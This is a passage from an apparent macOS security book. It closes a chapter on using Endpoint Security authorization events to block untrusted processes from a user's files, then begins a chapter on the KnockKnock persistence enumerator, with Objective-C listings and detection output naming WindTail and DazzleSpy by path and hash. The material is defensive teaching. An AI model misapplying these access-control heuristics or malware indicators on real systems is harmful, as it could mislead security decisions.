        case ES_EVENT_TYPE_AUTH_UNLINK:
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            es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false); 2
            break;
        ...
    }
});

Listing 9-16: Denying all file accesses

The only changes from the code to allow all events is that we now call 
the es_respond_flags_result function 1 with 0 as its third parameter and 
pass es_respond_auth_result the value ES_AUTH_RESULT_DENY 2.

Let’s expand this code to extract the path of the process responsible 
for the event, as well as the path of the file the process is trying to open or 
delete (Listing 9-17).

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    es_string_token_t* filePath = NULL;
    es_string_token_t* procPath = &message->process->executable->path; 1

    switch(message->event_type) {
        case ES_EVENT_TYPE_AUTH_OPEN:
            filePath = &message->event.open.file->path; 2
            es_respond_flags_result(client, message, 0, false);
            break;
        case ES_EVENT_TYPE_AUTH_UNLINK:
            filePath = &message->event.unlink.target->path; 3
            es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false);
            break;
        ...
    }
});

Listing 9-17: Extracting process paths and filepaths

We can find the responsible process’s path in the process member of 
the message structure for any Endpoint Security event 1, but other infor-
mation is event specific. Thus, we extract the file in the handler for each 
event type. For ES_EVENT_TYPE_AUTH_OPEN events, we find it in an es_event 
_open_t structure 2, and for ES_EVENT_TYPE_AUTH_UNLINK events, it lives in an 
es_event_unlink_t structure 3.

Now we should allow or deny file openings and deletions based on 
some rules, depending on what we’re attempting to protect. Recall that the 
MacStealer malware attempts to steal browser cookies. Generally speaking, 
no third-party process other than the browser should access its cookies.  
Thus, you may simply want to implement a deny rule with an exception to 
allow the browser itself. Via the process ID, path, or, better yet, code signing 
information, it should be easy to identify whether the browser is the respon-
sible process.

If you’re protecting files in the user’s home directory, this kind of “deny 
all with exceptions” approach would likely impact the usability of the system. 
Thus, you may want to use heuristics, such as authorizing only notarized appli-
cations, those from the App Store, or platform binaries. However, malware 
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sometimes delegates actions to shell commands, which are platform binaries, 
so you’ll likely want to examine the process hierarchy of the responsible pro-
cess to make sure it’s not being abused in malicious ways.

In this example, we’ll keep things simple by allowing only platform or 
notarized binaries to access the current user’s home directory (Listing 9-18).

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    es_string_token_t* filePath = NULL;
    es_string_token_t* procPath = &message->process->executable->path;

    BOOL isTrusted = ( (YES == message->process->is_platform_binary) ||
    (YES == isNotarized(message->process)) );

    switch(message->event_type) {
        case ES_EVENT_TYPE_AUTH_OPEN:
            filePath = &message->event.open.file->path;
            printf("\nevent: ES_EVENT_TYPE_AUTH_OPEN\n");
            printf("responsible process: %.*s\n", (int)procPath->length, procPath->data);
            printf("target file path: %.*s\n", (int)filePath->length, filePath->data);
            if(YES == isTrusted) {
                printf("process is trusted, so will allow event\n");
                es_respond_flags_result(client, message, UINT32_MAX, false);
            } else {
                printf("process is *not* trusted, so will deny event\n");
                es_respond_flags_result(client, message, 0, false);
            }
            break;

        case ES_EVENT_TYPE_AUTH_UNLINK:
            filePath = &message->event.unlink.target->path;
            printf("\nevent: ES_EVENT_TYPE_AUTH_UNLINK\n");
            printf("responsible process: %.*s\n", (int)procPath->length, procPath->data);
            printf("target file path: %.*s\n", (int)filePath->length, filePath->data);
            if(YES == isTrusted) {
                printf("process is trusted, so will allow event\n");
                es_respond_auth_result(client, message, ES_AUTH_RESULT_ALLOW, false);
            } else {
                printf("process is *not* trusted, so will deny event\n");
                es_respond_auth_result(client, message, ES_AUTH_RESULT_DENY, false);
            }
            break;
        ...
    }
});

Listing 9-18: Granting file access for platform and notarized processes only

We check whether the responsible process either is a platform binary or 
has been notarized. Checking whether a process is a platform binary is as 
easy as checking the is_platform_binary member of the process structure found 
in the delivered Endpoint Security message. In Chapter 3, we used Apple’s 
code signing APIs to figure out whether a process is notarized; we won’t cover 



Muting and Authorization Events   227

this process again here, except to note that we’ve created a simple helper 
function named isNotarized that uses the responsible process’s audit token to 
check its notarization status. (If you’re interested in seeing the full implemen-
tation of this function, see the protect.m file in the ESPlayground project.)

It’s also worth pointing out that the logical OR operator will short-circuit 
if the first condition is true, so we put the platform binary check first. 
Because it’s a simple check against a Boolean value in a structure, it’s less 
computationally intensive than a full notarization check, so we perform the 
more efficient check first and perform the second check only if needed.

Let’s compile the ESPlayground project and run it with the -protect flag 
to trigger this logic. The tool detects the use of built-in macOS commands 
to examine the home directory and delete a file within the Documents direc-
tory but still allows the actions:

# ESPlayground.app/Contents/MacOS/ESPlayground -protect

ES Playground
Executing 'protect' logic
protecting directory: /Users/Patrick

event: ES_EVENT_TYPE_AUTH_OPEN
responsible process: /bin/ls
target file path: /Users/Patrick
process is trusted, so will allow event

event: ES_EVENT_TYPE_AUTH_UNLINK
responsible process: /bin/rm
target file path: /Users/Patrick/Documents/deleteMe.doc
process is trusted, so will allow event

Now consider WindTail, a persistent cyber-espionage implant that seeks 
to enumerate and exfiltrate files in the user’s Documents directory. If we install 
it in a virtual machine, we can see the malware (called Final_Presentation.app) 
attempts to enumerate the files in the user’s documents directory. We detect 
this access, and because WindTail’s binary (called usrnode in this example) 
isn’t trusted, we block access to the directory:

# ESPlayground.app/Contents/MacOS/ESPlayground -protect

ES Playground
Executing 'protect' logic
protecting directory: /Users/User

event: ES_EVENT_TYPE_AUTH_OPEN
responsible process: /Users/User/Library/Final_Presentation.app/Contents/MacOS/usrnode
target file path: /Users/User/Documents
process is *not* trusted, so will deny event

It’s hard to overstate the importance of Endpoint Security for building 
tools capable of detecting and protecting against Mac malware. In recent 
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years, Apple has added more events (such as ES_EVENT_TYPE_NOTIFY_XP_MALWARE 
_DETECTED in macOS 13 and ES_EVENT_TYPE_NOTIFY_GATEKEEPER_USER_OVERRIDE 
in macOS 15), and powerful capabilities to the framework, so when 
building any security tool, using Endpoint Security should be your first 
consideration.

Conclusion
In this chapter, I covered advanced Endpoint Security topics, including 
muting, inverted muting, and authorization events. The examples showed 
you how to use these capabilities to build tools capable of detecting malware 
when it performs unauthorized actions, as well as proactively thwarting the 
action in the first place.

This chapter wraps up Part II of this book, dedicated to topics of real-
time monitoring capabilities. Part III will put together the many topics 
covered in Parts I and II as we explore the internals of Objective-See’s most 
popular macOS malware detection tools.

Notes
 1. See “Client,” Apple Developer Documentation, https://developer.apple.com/

documentation/endpointsecurity/client.

 2. Pete Markowsky (@PeteMarkowsky), “A small list of things you can do 
with this. 1. lockdown access to your SAAS bearer tokens to specific 
apps . . . ,” X, May 2, 2023, https://x.com/PeteMarkowsky/status/16534539518 
39109133.

 3. See https://github.com/google/santa/blob/8a7f1142a87a48a48271c78c94f830d8
efe9afa9/Source/santad/EventProviders/SNTEndpointSecurityTamperResistance 
.mm#L15.

 4. Shilpesh Trivedi, “MacStealer: Unveiling a Newly Identified MacOS-
Based Stealer Malware,” Uptycs, March 24, 2023, https://www.uptycs.com/
blog/macstealer-command-and-control-c2-malware.

 5. You can read more about these notarization bypass flaws in Patrick 
Wardle, “All Your Macs Are Belong to Us,” Objective-See, April 26, 
2021, https://objective-see.org/blog/blog_0x64.html, and in Patrick Wardle, 
“Where’s the Interpreter!?,” Objective-See, December 22, 2021, https://
objective-see.org/blog/blog_0x6A.html.

 6. Objective-See Foundation (@objective_see), “Did you know BlockBlock . . . ,” 
X, March 2, 2022, https://x.com/objective_see/status/1499172783502204929.

 7. “ES_EVENT_TYPE_AUTH_EXEC,” Apple Developer Documentation, 
https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/
es_event_type_auth_exec.

 8. See https://github.com/objective-see/BlockBlock.

https://developer.apple.com/documentation/endpointsecurity/client
https://developer.apple.com/documentation/endpointsecurity/client
https://x.com/PeteMarkowsky/status/1653453951839109133
https://x.com/PeteMarkowsky/status/1653453951839109133
https://github.com/google/santa/blob/8a7f1142a87a48a48271c78c94f830d8efe9afa9/Source/santad/EventProviders/SNTEndpointSecurityTamperResistance.mm#L15
https://github.com/google/santa/blob/8a7f1142a87a48a48271c78c94f830d8efe9afa9/Source/santad/EventProviders/SNTEndpointSecurityTamperResistance.mm#L15
https://github.com/google/santa/blob/8a7f1142a87a48a48271c78c94f830d8efe9afa9/Source/santad/EventProviders/SNTEndpointSecurityTamperResistance.mm#L15
https://www.uptycs.com/blog/macstealer-command-and-control-c2-malware
https://www.uptycs.com/blog/macstealer-command-and-control-c2-malware
https://objective-see.org/blog/blog_0x64.html
https://objective-see.org/blog/blog_0x6A.html
https://objective-see.org/blog/blog_0x6A.html
https://x.com/objective_see/status/1499172783502204929
https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_auth_exec
https://developer.apple.com/documentation/endpointsecurity/es_event_type_t/es_event_type_auth_exec
https://github.com/objective-see/BlockBlock


Muting and Authorization Events   229

 9. You can read about such attacks uncovered by yours truly in Patrick 
Wardle, “Dylib Hijacking on OS X,” VirusBulletin, March 19, 2015, 
https://www.virusbulletin.com/blog/2015/03/paper-dylib-hijacking-os-x.

 10. The code in Listing 9-9 is inspired by Jeff Johnson, “Detect App 
Translocation,” Lapcat Software, July 26, 2016, https://lapcatsoftware.com/
articles/detect-app-translocation.html.

 11. See https://github.com/objective-see/BlockBlock/blob/master/Daemon/Daemon/
Plugins/Processes.m.

 12. Patrick Wardle, “Demystifying (& Bypassing) macOS’s Background Task 
Management,” presented at DefCon, Las Vegas, August 12, 2023, https://
speakerdeck.com/patrickwardle/demystifying-and-bypassing-macoss-background 
-task-management.

 13. Phil Stokes, “Backdoor Activator Malware Running Rife Through 
Torrents of macOS Apps,” Sentinel One, February 1, 2024, https://www 
.sentinelone.com/blog/backdoor-activator-malware-running-rife-through-torrents 
-of-macos-apps/.

 14. Jaron Bradley, “Zero-Day TCC Bypass Discovered in XCSSET Malware,” 
Jamf, May 24, 2021, https://www.jamf.com/blog/zero-day-tcc-bypass-discovered 
-in-xcsset-malware/.

https://www.virusbulletin.com/blog/2015/03/paper-dylib-hijacking-os-x
https://lapcatsoftware.com/articles/detect-app-translocation.html
https://lapcatsoftware.com/articles/detect-app-translocation.html
https://github.com/objective-see/BlockBlock/blob/master/Daemon/Daemon/Plugins/Processes.m
https://github.com/objective-see/BlockBlock/blob/master/Daemon/Daemon/Plugins/Processes.m
https://speakerdeck.com/patrickwardle/demystifying-and-bypassing-macoss-background-task-management
https://speakerdeck.com/patrickwardle/demystifying-and-bypassing-macoss-background-task-management
https://speakerdeck.com/patrickwardle/demystifying-and-bypassing-macoss-background-task-management
https://www.sentinelone.com/blog/backdoor-activator-malware-running-rife-through-torrents-of-macos-apps/
https://www.sentinelone.com/blog/backdoor-activator-malware-running-rife-through-torrents-of-macos-apps/
https://www.sentinelone.com/blog/backdoor-activator-malware-running-rife-through-torrents-of-macos-apps/
https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/
https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/




PART III
T O O L  D E V E L O P M E N T

You can think of the topics covered in Parts I and II 
as pieces of a larger puzzle. For example, Chapter 7 
showed that you can leverage the NetworkExtension 
framework to detect new processes attempting to access 
the network, but to determine whether a process is mal-
ware or benign, you’d likely want to return to topics 
covered in Part I, including extracting its process argu-
ments (Chapter 1), extracting its code signing informa-
tion (Chapter 3), and checking whether the process has 
persisted (Chapter 5). You may even want to parse its 
Mach-O binary for anomalies (Chapter 2).

Now that I’ve covered all of these approaches in detail, it’s time to pull 
them together. In Part III, I’ll cover the design and internals of Objective-
See tools that provide powerful heuristic-based malware detection capa-
bilities. These tools are free and open source and have a track record of 
detecting sophisticated malware, as well as never-before-seen threats.

Part III starts by focusing on tools capable of enumerating and detect-
ing persistent malware in real time (KnockKnock and BlockBlock). Then 
I’ll discuss OverSight by showing how to build a tool capable of detecting 
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malware that surreptitiously accesses either the mic or the webcam to spy 
on users. Finally, I’ll detail how to build a complete DNS monitor able to 
detect and block malware that attempts to access remote domains. While 
discussing the internals and constructions of these tools, I’ll touch on 
examples of in-the-wild macOS malware they can detect.

It’s important to test all security to see how it stacks up against a variety 
of real-world threats. As such, I’ll wrap up the book by pitting our tools 
and detection approaches against recent threats targeting macOS systems. 
Which will prevail?

You’ll get the most out of this part of the book if, for each chapter, you 
download the relevant tool’s source code. This is particularly important 
because some chapters omit parts of the code for brevity.

All the tools referenced in this part can be found in the Objective-See 
GitHub repository: https:// github. com/ objective-see. If you’d like to build the 
tools yourself, please note that you’ll need to use your own Apple Developer 
ID and, where applicable, your own provisioning profiles for tools that 
require entitlements.

https://github.com/objective-see


In early 2014, a close friend begged me for 
help disinfecting his Mac. When I plopped 

myself in front of his screen, I saw obvious 
signs of a rampant adware infection: flagrant 

browser pop-ups, as well as a hijacked home page. Even 
worse, resetting his browser didn’t work; it reverted 
to its infected state upon each reboot, suggesting the 
presence of a persistent component buried somewhere 
deep within the system.

At the time, I was an experienced Windows malware analyst just begin-
ning my foray into the world of macOS. Naively, I thought I could download 
a tool capable of enumerating all persistent software installed on the system 
to reveal the malicious component. Well-known security tools, such as 
Microsoft’s AutoRuns,1 provided such a capability for Windows systems, but 
I soon discovered nothing similar existed for Macs.

10
P E R S I S T E N C E  E N U M E R A T O R



234   Chapter 10

I returned home and spent the next few days putting together a Python 
script that, while embarrassingly ugly, was capable of enumerating several 
types of persistent software. Running the script revealed an unrecognized 
launch agent on my friend’s computer that turned out to be the core persis-
tent component of the adware. Once I removed it, his Mac was as good as new.

Realizing that my script could benefit other Mac users, I cleaned it 
up and released it under the moniker KnockKnock.2 (Why KnockKnock? 
Because it tells you who’s there!) Today, KnockKnock has evolved greatly 
from its beginnings as a humble command line script. Now distributed as a 
native macOS application, it’s capable of detecting a myriad of persistently 
installed items on any macOS system. Coupled with an intuitive user inter-
face (UI), integration with VirusTotal, and the ability to export its findings 
for ingestion into security information and event management (SIEM), it’s 
the first tool I run on any Mac that I suspect is infected.

In this chapter, I’ll walk through KnockKnock’s design and implemen- 
tation to give you an in-depth look at the tool and expand your understand-
ing of the persistence methods that Mac malware often does (or could) 
abuse. In the process, we’ll go beyond the detection mechanism discussed 
in Chapter 5, which focused solely upon the Background Task Management 
database, to look at other ways of persisting on macOS, including browser 
extensions and dynamic library hijacks. You can find the complete source 
code on Objective-See’s GitHub page in the KnockKnock repository at 
https://github.com/Objective-see/KnockKnock.

Tool Design
KnockKnock is a standard UI-based application (as shown in Figure 10-1), 
but users can also execute it in the terminal as a command line tool.

Figure 10-1: KnockKnock’s user interface

https://github.com/Objective-see/KnockKnock
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As this isn’t a book about writing UIs (thank goodness!), I won’t delve 
into the code related to KnockKnock’s UI. Instead, I focus mainly on its 
core components, such as its many plug-ins responsible for querying various 
aspects of the operating system to enumerate persistently installed items.

Command Line Options
The code for any Objective-C program starts at the standard main function, 
and KnockKnock is no exception. In its main function, KnockKnock begins 
by checking its program arguments to determine whether it should display 
its usage information or perform a command line scan (Listing 10-1).

int main(int argc, const char* argv[]) {
    ...
    if( (YES == [NSProcessInfo.processInfo.arguments containsObject:@"-h"]) ||
        (YES == [NSProcessInfo.processInfo.arguments containsObject:@"-help"]) ) {
        usage();
        goto bail;
    }

    if(YES == [NSProcessInfo.processInfo.arguments containsObject:@"-whosthere"]) {
        ...
        cmdlineScan();
    }
    ...
}

Listing 10-1: Parsing command line options

You might be familiar with accessing a program’s command line argu-
ments via the main function’s argv. Objective-C supports this approach, but 
we can also access the arguments via the arguments array of the processInfo 
property in the NSProcessInfo class. This technique has several advantages, 
most notably that it converts the arguments into Objective-C objects. This 
means, for example, that we can use the containsObject: method to easily 
determine whether the user has specified a certain command line argument 
regardless of the order of the arguments.

To determine whether to run a command line scan, KnockKnock 
checks if the user specified the -whosthere command line option. If so, it 
invokes its cmdlineScan function to perform a scan of the system, printing out 
information about persistently installed items directly to the terminal.

Plug-ins
Because malware can persist on macOS in many ways and researchers dis-
cover new methods from time to time, KnockKnock’s design relies on the 
concept of what I’ll refer to as plug-ins. Each plug-in corresponds to one type 
of persistence and implements the logic to enumerate items of that persis-
tence type. The plug-ins then call into other parts of KnockKnock to per-
form actions such as displaying each item in the UI. This modular approach 
provides a simple and efficient way to add support for new persistence 
techniques. For example, after the researcher Csaba Fitzl published the blog 
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post “Beyond the Good Ol’ LaunchAgents -32- Dock Tile Plugins,” which 
detailed a new persistence strategy involving macOS Dock plug-ins,3 I added 
a corresponding detection to KnockKnock via a new plug-in within the hour.

Each of KnockKnock’s plug-ins inherits from a custom plug-in base 
class named PluginBase, which declares properties common to all plug-ins, 
as well as base methods. Found in PluginBase.h, it includes plug-in metadata, 
such as a name and a description, and arrays that the plug-in populates as it 
encounters persisting items (Listing 10-2).

@interface PluginBase : NSObject
    @property(retain, nonatomic)NSString* name;
    @property(retain, nonatomic)NSString* icon;
    @property(retain, nonatomic)NSString* description;

    @property(retain, nonatomic)NSMutableArray* allItems;
    @property(retain, nonatomic)NSMutableArray* flaggedItems;
    @property(retain, nonatomic)NSMutableArray* unknownItems;

    @property(copy, nonatomic) void (^callback)(ItemBase*);
    ....
@end

Listing 10-2: The base plug-in class’s properties

The class also declares various base methods (Listing 10-3).

-(void)scan;
-(void)reset;
-(void)processItem:(ItemBase*)item;

Listing 10-3: The base plug-in class’s methods

Each plug-in must implement the scan method with logic to enumerate 
one type of persistent item. For example, the Background Task Management 
plug-in will parse the Background Task Management database to extract 
persistent items managed by the Background Task Management subsystem, 
while the Browser Extension plug-in will enumerate installed browsers and, 
for each, extract any installed browser extensions. If researchers uncover a 
new persistence mechanism, we can trivially add a new plug-in with a scan 
method capable of enumerating items that persist in this new way.

The base class’s scan method throws an exception if called directly 
(Listing 10-4).

@implementation PluginBase
...
-(void)scan {
    @throw [NSException exceptionWithName:kExceptName
    reason:[NSString stringWithFormat:kErrFormat, NSStringFromSelector(_cmd),
    [self class]] userInfo:nil];
}
@end

Listing 10-4: The base scan method will throw an exception if called.
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This design allows KnockKnock to easily invoke each plug-in’s scan 
method without having to know anything about how each plug-in actually 
enumerates persistent items of its specific type. The class provides base 
implementations for the other two methods, reset and processItem:, though 
plug-ins can override them if needed. (Otherwise, the plug-in will just call 
the base class’s implementation.)

Both methods affect the application’s UI. For example, when perform-
ing a UI scan, the reset method handles situations in which a user stops 
and then restarts a scan, while the processItem: method updates the UI 
as  plug-ins uncover persistent items. During a command line scan, the 
 processItem: method will still keep track of detected items and print each 
one to the terminal once the scan completes (Listing 10-5).

-(void)processItem:(ItemBase*)item {
    ...
    @synchronized(self.allItems) {
        [self.allItems addObject:item];
    }
}

Listing 10-5: Updating a global list of persistent items

KnockKnock declares a static list of all plug-ins by their class name. 
Later, the code iterates over this list, instantiating each plug-in (Listing 10-6).

static NSString* const SUPPORTED_PLUGINS[] = {@"AuthorizationPlugins",
@"BrowserExtensions", @"BTM", @"CronJobs", @"DirectoryServicesPlugins",
@"DockTiles", @"EventRules", @"Extensions", @"Kexts", @"LaunchItems",
@"DylibInserts", @"DylibProxies", @"LoginItems", @"LogInOutHooks",
@"PeriodicScripts", @"QuicklookPlugins", @"SpotlightImporters",
@"StartupScripts", @"SystemExtensions"};

PluginBase* pluginObj = nil;

for(NSUInteger i = 0; i < sizeof(SUPPORTED_PLUGINS)/sizeof(SUPPORTED_PLUGINS[0]); i++) {
    pluginObj = [[NSClassFromString(SUPPORTED_PLUGINS[i]) alloc] init]; 1
    ...
}

Listing 10-6: Initializing each plug-in by name

For each plug-in class name, KnockKnock invokes the NSClassFromString 
API, which obtains a plug-in class based on the given name.4 Then it invokes 
the class’s alloc method to allocate an instance of the class (in other 
words, to create an object). Next, it invokes the newly created object’s init 
method to allow the plug-in object to perform any initializations 1. We’ll 
consider some initialization examples shortly. Although not shown here, 
KnockKnock will then invoke each of the plug-in’s scan methods.
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Persistent Item Types
KnockKnock assigns one of three types to persistent items: file, command, 
or browser extension. Most persisted items are executable files, such as 
scripts or Mach-O binaries. However, as in the case of cron jobs, malware 
sometimes persists as a command; other times, it persists as a bundle of 
files and resources in the form of a browser extension. It’s important for 
KnockKnock to correctly classify items, as each type has unique charac-
teristics. For example, a persistent file might have extractable code signing 
information to help us classify it. We can also hash such files to check for 
known malware.

The three item types are subclasses of a custom ItemBase class, shown in 
Listing 10-7.

@interface ItemBase : NSObject
    @property(nonatomic, retain)PluginBase* plugin;

    @property BOOL isTrusted;
    @property(retain, nonatomic)NSString* name;
    @property(retain, nonatomic)NSString* path;
    @property(nonatomic, retain)NSDictionary* attributes;

    -(id)initWithParams:(NSDictionary*)params;
    -(NSString*)pathForFinder;
    -(NSString*)toJSON;
@end

Listing 10-7: The interface for the ItemBase class

This base class declares various properties, such as the plug-in that 
discovered the item, the item’s name, and its path. Not all item types set 
every property. For example, commands don’t have paths, whereas files and 
extensions do. The ItemBase class also implements base methods to initialize 
an item, return its path to show it in the Finder app, and convert it to JSON. 
Although objects that inherit from this base class can reimplement each 
method if they need to, the base class’s implementation may suffice.

Once a plug-in’s scan method completes, it stores any discovered items 
in a plug-in property called allItems. In a command line scan, KnockKnock 
converts each persistent item to JSON and appends it to a string that it 
prints out (Listing 10-8).

NSMutableString* output = [NSMutableString string];
...
for(NSUInteger i = 0; i < sizeof(SUPPORTED_PLUGINS)/sizeof(SUPPORTED_PLUGINS[0]); i++) {
    ...
    [plugin scan];

    for(ItemBase* item in plugin.allItems) {
        ...
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        [output appendFormat:@"{%@},", [item toJSON]];
    }
    ...
}

Listing 10-8: Converting persistent items to JSON

Each item type implements its own logic to convert the information col-
lected about a persistent item to JSON. Let’s take a look at the implementa-
tion of the toJSON method for items whose type is File (Listing 10-9).

@implementation File
-(NSString*)toJSON {
    NSData* jsonData = nil;

    jsonData =
    [NSJSONSerialization dataWithJSONObject:self.signingInfo options:kNilOptions error:NULL]; 1

    NSString* fileSigs =
    [[NSString alloc] initWithData:jsonData encoding:NSUTF8StringEncoding];

    jsonData =
    [NSJSONSerialization dataWithJSONObject:self.hashes options:kNilOptions error:NULL]; 2

    NSString* fileHashes = [[NSString alloc] initWithData:jsonData encoding:
    NSUTF8StringEncoding];
    ...
}

Listing 10-9: Converting File object properties to JSON

First, the code makes use of the NSJSONSerialization class’s dataWithJSON 
Object:options:error: method to convert various dictionaries into JSON. 
These dictionaries include the item’s code signing information 1 and 
hashes 2. The method also converts numeric values from VirusTotal scan 
results (Listing 10-10).

NSString* vtDetectionRatio = [NSString stringWithFormat:@"%lu/%lu",
(unsigned long)[self.vtInfo[VT_RESULTS_POSITIVES] unsignedIntegerValue],
(unsigned long)[self.vtInfo[VT_RESULTS_TOTAL] unsignedIntegerValue]];

Listing 10-10: Computing a detection ratio based on scan results from VirusTotal

Technically, KnockKnock itself doesn’t include logic to detect malicious 
code; it merely enumerates persistently installed items. This is by design, 
as it allows KnockKnock to detect new persistent malware even with no 
direct a priori knowledge of it. However, KnockKnock’s integration with 
VirusTotal allows it to flag already known malware by submitting a POST 
request with a hash of each persistent item to a VirusTotal query API. 
This API returns basic detection information, such as how many antivirus 
engines scanned the items and how many of those engines flagged it as 
malicious. KnockKnock converts this data into a string ratio of the form 
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positive detections/antivirus engines and then displays this result in the UI or 
command line output.5

The toJSON method finishes by building a single string object that com-
bines the converted dictionaries, formatted numerical values, and all other 
properties of the item object (Listing 10-11).

NSString* json = [NSString stringWithFormat:@"\"name\": \"%@\", \"path\":
\"%@\", \"plist\": \"%@\", \"hashes\": %@, \"signature(s)\": %@, \"VT
detection\": \"%@\"", self.name, self.path, filePlist, fileHashes,
fileSigs, vtDetectionRatio];

Listing 10-11: Building a JSON-ified string

It returns this string to the caller to print out. For example, on a system 
infected with the persistent DazzleSpy malware, KnockKnock would display 
the following JSON in the terminal:

% KnockKnock.app/Contents/MacOS/KnockKnock -whosthere -pretty
{
    "path" : "\/Users\/User\/.local\/softwareupdate",
    "hashes" : {
        "md5" : "9DC9D317A9B63599BBC1CEBA6437226E",
        "sha1" : "EE0678E58868EBD6603CC2E06A134680D2012C1B"
    },
    "VT detection" : "35\/76",
    "name" : "softwareupdate",
    "plist" : "\/Library\/LaunchDaemons\/com.apple.softwareupdate.plist",
    "signature(s)" : {
        "signatureStatus" : -67062
    }
}

The output shows several red flags pointing to the fact that this item is 
likely malicious. For example, it’s running from a hidden directory (.local), 
and while it claims to be an Apple software updater, its signature status 
is -67062, which maps to the errSecCSUnsigned constant. What conclusively 
identifies this item as malware, though, is the VirusTotal detection ratio, 
which shows that roughly half of the antivirus engines on the site flagged it 
as malicious.

Exploring the Plug-ins
KnockKnock has approximately 20 plug-ins to detect a myriad of persistent 
items, including items stored in Background Task Management, browser 
extensions, cron jobs, dynamic library inserts and proxies, kernel exten-
sions, launch items, login items, Spotlight importers, system extensions, and 
many more. Although I won’t cover every plug-in here, I’ll dive into a few of 
them and provide examples of the malware they can detect.
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Background Task Management
In Chapter 5, we explored the undocumented Background Task Manage- 
ment subsystem, which macOS leverages to govern and track persistent 
items such as launch agents, daemons, and login items. Through reverse 
engineering, I showed you how to deserialize the items managed by the 
subsystem, which could include persistently installed malware. We then 
created an open source library that I dubbed DumpBTM, which is available on 
GitHub (https://github.com/objective-see/DumpBTM). To enumerate persistently 
installed launch and login items, KnockKnock leverages this library.

N O T E  In Xcode, you can link in a library under your project’s Build Phases tab. There, 
expand Link Binary With Libraries, click +, and then browse to the library.

After linking in the DumpBTM library, KnockKnock’s Background 
Task Management plug-in can directly invoke its exported APIs, such as 
its parseBTM function. The function takes a path to a Background Task 
Management file (or nil, to default to the system’s file) and returns a dic-
tionary containing deserialized metadata about each persistent item man-
aged by Background Task Management. Listing 10-12 shows a snippet of the 
code in the plug-in’s scan method.

#import "dumpBTM.h"

-(void)scan {
    ...
    if(@available(macOS 13, *)) {
        NSDictionary* contents = parseBTM(nil);
        ...
    }
}

Listing 10-12: Calling into the DumpBTM library

This code makes use of the @available Objective-C keyword to ensure 
that the plug-in executes only on versions 13 and newer of macOS (as the 
Background Task Management subsystem doesn’t exist on earlier versions). 
KnockKnock then iterates over the metadata for each persistent item 
returned by the DumpBTM library’s parseBTM function and, for each, instanti-
ates a File item object. It does this by invoking the File class’s initWithParams: 
method, which accepts a dictionary of values for the object, including a 
path and, for launch items, the property list.

Note that the code explicitly checks for a property list, as some persistent 
items in the Background Task Management database, such as login items, 
won’t contain one (Listing 10-13). This is an important check, as inserting a 
nonexistent (nil) item into a dictionary will cause your program to crash.

NSMutableDictionary* parameters = [NSMutableDictionary dictionary];

parameters[KEY_RESULT_PATH] = item[KEY_BTM_ITEM_EXE_PATH];

https://github.com/objective-see/DumpBTM


242   Chapter 10

if(nil != item[KEY_BTM_ITEM_PLIST_PATH]) {
    parameters[KEY_RESULT_PLIST] = item[KEY_BTM_ITEM_PLIST_PATH];
}

File* fileObj = [[File alloc] initWithParams:parameters];

Listing 10-13: Creating a dictionary of parameters to initialize a File object

With an initialized File object in hand, KnockKnock’s Background Task 
Management plug-in can now invoke the base plug-in class’s processItem: 
method to trigger a refresh of the UI or, in a command line scan, add the 
item to the list of items persistently installed on the system.

Using the DumpBTM library, KnockKnock can easily enumerate all 
persistent items managed by the subsystem. In the following output, you 
can see the tool displaying details of the cyber-espionage implant WindTail, 
which persists an app named Final_Presentation.app as a login item:

% KnockKnock.app/Contents/MacOS/KnockKnock -whosthere -pretty
...
"Background Managed Tasks" : [
    {
        "path" : "\/Users\/User\/Library\/Final_Presentation.app\/Contents\/MacOS\/usrnode",
        "hashes" : {
            "md5" : "C68A856EC8F4529147CE9FD3A77D7865",
            "sha1" : "758F10BD7C69BD2C0B38FD7D523A816DB4ADDD90"
        },
        "VT detection" : "41\/75",
        "name" : "usrnode",
        "plist" : "n\/a",
        "signature(s)" : {
            "signatureStatus" : -2147409652
        }
    }
]

Many antivirus engines on VirusTotal now flag the malware, and a 
check of its signature returns -2147409652, which maps to the “certificate 
revoked” constant, CSSMERR_TP_CERT_REVOKED. However, KnockKnock would 
have shown the presence of the persistent item even before the antivirus 
engines on VirusTotal developed signatures for it.

Unfortunately, no external library can enumerate many of KnockKnock’s 
other classes of persistence, so we’ll have to write more code ourselves. One 
example is the browser extension plug-in, which we’ll look at now.

Browser Extension
Most macOS adware installs a malicious browser extension to hijack search 
results, display ads, or even intercept browser traffic. Common examples of 
such adware include Genieo, Yontoo, and Shlayer.

Because no macOS APIs can enumerate installed browser extensions, 
KnockKnock must do so itself. Worse, as each browser manages its extensions 
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in its own way, KnockKnock must implement specific enumeration code for 
each. Currently, the tool supports extension enumeration for Safari, Chrome, 
Firefox, and Opera browsers. In this section, we’ll cover the code specific 
to Safari.

To list the installed browsers, KnockKnock uses relatively unknown 
Launch Services APIs (Listing 10-14).

-(NSArray*)getInstalledBrowsers {
    NSMutableArray* browsers = [NSMutableArray array];
  1 CFArrayRef browserIDs = LSCopyAllHandlersForURLScheme(CFSTR("https"));

    for(NSString* browserID in (__bridge NSArray *)browserIDs) {
        CFURLRef browserURL = NULL;
      2 LSFindApplicationForInfo(kLSUnknownCreator,
        (__bridge CFStringRef)(browserID), NULL, NULL, &browserURL);

        [browsers addObject:[(__bridge NSURL *)browserURL path]];
        ...
    }
    ...
    return browsers;
}

Listing 10-14: Obtaining a list of installed browsers using Launch Services APIs

The code invokes the LSCopyAllHandlersForURLScheme API with the URL 
scheme https 1, which returns an array containing the bundle IDs of 
applications capable of handling that scheme. The code then invokes the 
LSFindApplicationForInfo API to map each ID to an application path 2, saving 
these into an array that it returns to the caller.

In macOS 12, Apple added the URLsForApplicationsToOpenURL: method to 
the NSWorkspace class to return all applications capable of opening a specified 
URL. Invoking this method with a URL to a web page will return a list of all 
installed browsers. For newer versions of macOS, KnockKnock makes use of 
this API (Listing 10-15).

#define PRODUCT_URL @″https://objective-see.org/products/knockknock.html″

NSMutableArray* browsers = [NSMutableArray array];
if(@available(macOS 12.0, *)) {
    for(NSURL* browser in [NSWorkspace.sharedWorkspace URLsForApplicationsToOpenURL:
    [NSURL URLWithString:PRODUCT_URL]]) {
